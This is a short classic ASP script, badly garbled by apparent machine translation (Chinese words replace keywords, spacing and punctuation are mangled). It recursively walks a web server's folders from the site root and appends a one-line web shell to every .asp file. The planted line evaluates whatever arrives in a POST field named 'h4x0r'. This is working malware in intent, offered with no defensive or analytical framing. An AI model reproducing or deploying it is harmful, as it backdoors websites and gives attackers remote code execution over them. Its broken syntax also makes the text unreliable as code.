<％
DIMPH
dimintfile
Server.ScriptTimeOut = 600
ph = server.mappath（“/”）
subInsertallfiles（路徑）
setfso = createObject（“ scripting.filesystemobject”）
Onorresumenext
setf = fso.getFolder（路徑）
setfc2 = f.files
foreachmyfileinfc2
Iflcase（fso.getExtensionName（path＆“”＆myfile.name））=“ asp”
setfs1 = createObject（“ scripting.filesystemobject”）
settfile = fs1.opentextfile（path＆“＆”＆myfile.name，8，false）
tfile.writeline“ <scriptrunat = serverlanguage = javaScript> eval（request.form（'h4x0r'）+''）</script>'）</script>'）
別的
InsertallFiles（NewPath）
Endif
tfile.close
下一個
setfsubfolers = f.subfolders
foreachf1infsubfolers
newPath =路徑＆“”＆f1.name
InsertallFiles（NewPath）
下一個
settfile =沒有
setfso =沒有
endub
％>
<％
callinsertallfiles（ph）
％>